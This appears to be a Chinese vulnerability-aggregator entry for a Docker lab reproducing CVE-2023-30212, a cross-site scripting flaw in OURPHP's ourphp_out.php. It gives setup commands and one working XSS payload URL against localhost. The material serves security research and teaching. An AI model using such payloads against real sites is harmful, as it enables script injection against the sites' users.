POC详情： 637cb80dd4d04f4a26a4c228965f9ce96733d6ef

来源
https://github.com/mallutrojan/CVE-2023-30212-Lab
关联漏洞
标题： OURPHP 跨站脚本漏洞 (CVE-2023-30212)
描述：OURPHP是OURPHP开源的一个开源、跨平台、企业级+电商+小程序+APP多终端同步的CMS建站系统。 OURPHP 7.2.0版本及之前版本存在安全漏洞，该漏洞源于通过文件ourphp_out.php发现包含跨站脚本（XSS）漏洞。
描述
GitHub repository with Dockerfile and files to create a vulnerable environment for CVE-2023-30212, enabling exploration of the exploitability of this security vulnerability. Ideal for research and security enthusiasts to study and understand the impact of the vulnerability in a controlled setting.
介绍
# CVE-2023-30212-Lab
GitHub repository with Dockerfile and files to create a vulnerable environment for CVE-2023-30212, enabling exploration of the exploitability of this security vulnerability. Ideal for research and security enthusiasts to study and understand the impact of the vulnerability in a controlled setting.







Download this repository by 

git clone https://github.com/mallutrojan/CVE-2023-30212-Lab.git

Cd CVE-2023-30212-Lab

chmod u+x lab.sh

./lab.sh

http://localhost and set up the user using password

execute this url in browser

http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=%3C/script%3E%3Cscript%3Ealert(`xss`)%3C/script%3E
文件快照

 [4.0K]  /data/pocs/637cb80dd4d04f4a26a4c228965f9ce96733d6ef
├── [1.4K]  Dockerfile
├── [1.8K]  lab.sh
└── [ 676]  README.md

0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。